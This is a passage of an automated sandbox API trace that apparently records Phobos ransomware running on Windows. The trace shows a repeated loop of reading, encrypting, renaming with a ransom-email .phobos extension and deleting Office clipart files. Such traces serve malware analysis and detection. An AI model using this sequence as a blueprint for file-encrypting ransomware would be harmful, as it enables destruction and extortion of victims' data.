pdwDataLen=0x2fcf900*=0x34f0, dwBufLen=0x34f0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x34f0) returned 1 [0135.133] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x34f0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x34f0, lpOverlapped=0x0) returned 1 [0135.134] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752b18) returned 1 [0135.134] CryptSetKeyParam (hKey=0x752b18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.134] CryptEncrypt (in: hKey=0x752b18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0135.134] CryptDestroyKey (hKey=0x752b18) returned 1 [0135.134] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0135.134] CryptDestroyKey (hKey=0x752c58) returned 1 [0135.134] CloseHandle (hObject=0x2e4) returned 1 [0135.134] CloseHandle (hObject=0x308) returned 1 [0135.134] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 1 [0135.136] SetEvent (hEvent=0x2b8) returned 1 [0135.136] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0135.136] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0135.136] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=3718) returned 1 [0135.136] CloseHandle (hObject=0x308) returned 1 [0135.136] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 0x220 [0135.136] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.136] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0135.136] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.137] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.137] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0135.137] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752d58) returned 1 [0135.137] CryptSetKeyParam (hKey=0x752d58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.137] ReadFile (in: hFile=0x308, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0xe86, lpOverlapped=0x0) returned 1 [0135.144] CryptEncrypt (in: hKey=0x752d58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xe90, dwBufLen=0xe90 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xe90) returned 1 [0135.144] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xe90, lpOverlapped=0x0) returned 1 [0135.145] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752d98) returned 1 [0135.145] CryptSetKeyParam (hKey=0x752d98, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.145] CryptEncrypt (in: hKey=0x752d98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0135.146] CryptDestroyKey (hKey=0x752d98) returned 1 [0135.146] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0135.146] CryptDestroyKey (hKey=0x752d58) returned 1 [0135.146] CloseHandle (hObject=0x308) returned 1 [0135.146] CloseHandle (hObject=0x2e4) returned 1 [0135.146] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 1 [0135.147] SetEvent (hEvent=0x2b8) returned 1 [0135.147] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0135.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0135.147] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=1400) returned 1 [0135.147] CloseHandle (hObject=0x2e4) returned 1 [0135.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 0x220 [0135.148] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0135.148] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.148] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0135.148] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752e58) returned 1 [0135.148] CryptSetKeyParam (hKey=0x752e58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.148] ReadFile (in: hFile=0x2e4, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x578, lpOverlapped=0x0) returned 1 [0135.169] CryptEncrypt (in: hKey=0x752e58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x580, dwBufLen=0x580 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x580) returned 1 [0135.169] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x580, lpOverlapped=0x0) returned 1 [0135.170] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752fd8) returned 1 [0135.170] CryptSetKeyParam (hKey=0x752fd8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.170] CryptEncrypt (in: hKey=0x752fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0135.170] CryptDestroyKey (hKey=0x752fd8) returned 1 [0135.170] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0135.170] CryptDestroyKey (hKey=0x752e58) returned 1 [0135.170] CloseHandle (hObject=0x2e4) returned 1 [0135.170] CloseHandle (hObject=0x308) returned 1 [0135.170] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 1 [0135.171] SetEvent (hEvent=0x2b8) returned 1 [0135.171] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0135.171] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0135.172] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=10644) returned 1 [0135.172] CloseHandle (hObject=0x308) returned 1 [0135.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 0x220 [0135.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.172] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0135.172] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.172] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.172] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0135.173] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752f58) returned 1 [0135.173] CryptSetKeyParam (hKey=0x752f58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.173] ReadFile (in: hFile=0x308, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x2994, lpOverlapped=0x0) returned 1 [0135.197] CryptEncrypt (in: hKey=0x752f58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x29a0, dwBufLen=0x29a0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x29a0) returned 1 [0135.197] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x29a0, lpOverlapped=0x0) returned 1 [0135.198] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752c58) returned 1 [0135.198] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.198] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0135.198] CryptDestroyKey (hKey=0x752c58) returned 1 [0135.198] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0135.198] CryptDestroyKey (hKey=0x752f58) returned 1 [0135.198] CloseHandle (hObject=0x308) returned 1 [0135.198] CloseHandle (hObject=0x2e4) returned 1 [0135.198] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 1 [0135.199] SetEvent (hEvent=0x2b8) returned 1 [0135.199] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0135.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0135.200] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=1568) returned 1 [0135.200] CloseHandle (hObject=0x2e4) returned 1 [0135.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 0x220 [0135.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.200] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0135.200] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.200] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.200] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0135.200] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752a58) returned 1 [0135.201] CryptSetKeyParam (hKey=0x752a58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.201] ReadFile (in: hFile=0x2e4, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x620, lpOverlapped=0x0) returned 1 [0135.218] CryptEncrypt (in: hKey=0x752a58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x630, dwBufLen=0x630 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x630) returned 1 [0135.218] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x630, lpOverlapped=0x0) returned 1 [0135.219] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752d18) returned 1 [0135.219] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.219] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0135.219] CryptDestroyKey (hKey=0x752d18) returned 1 [0135.219] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0135.219] CryptDestroyKey (hKey=0x752a58) returned 1 [0135.219] CloseHandle (hObject=0x2e4) returned 1 [0135.219] CloseHandle (hObject=0x308) returned 1 [0135.219] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 1 [0135.221] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0135.221] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0135.221] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=9300) returned 1 [0135.221] CloseHandle (hObject=0x308) returned 1 [0135.221] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 0x220 [0135.221] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.221] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0135.221] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.222] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.222] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0135.222] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x753018) returned 1 [0135.222] CryptSetKeyParam (hKey=0x753018, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.222] ReadFile (in: hFile=0x308, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x2454, lpOverlapped=0x0) returned 1 [0135.242] CryptEncrypt (in: hKey=0x753018, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x2460, dwBufLen=0x2460 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x2460) returned 1 [0135.242] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x2460, lpOverlapped=0x0) returned 1 [0135.244] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752c58) returned 1 [0135.244] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.244] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0135.244] CryptDestroyKey (hKey=0x752c58) returned 1 [0135.244] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0135.244] CryptDestroyKey (hKey=0x753018) returned 1 [0135.244] CloseHandle (hObject=0x308) returned 1 [0135.244] CloseHandle (hObject=0x2e4) returned 1 [0135.244] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 1 [0135.245] SetEvent (hEvent=0x2b8) returned 1 [0135.245] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0135.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0135.246] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=4032) returned 1 [0135.246] CloseHandle (hObject=0x2e4) returned 1 [0135.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 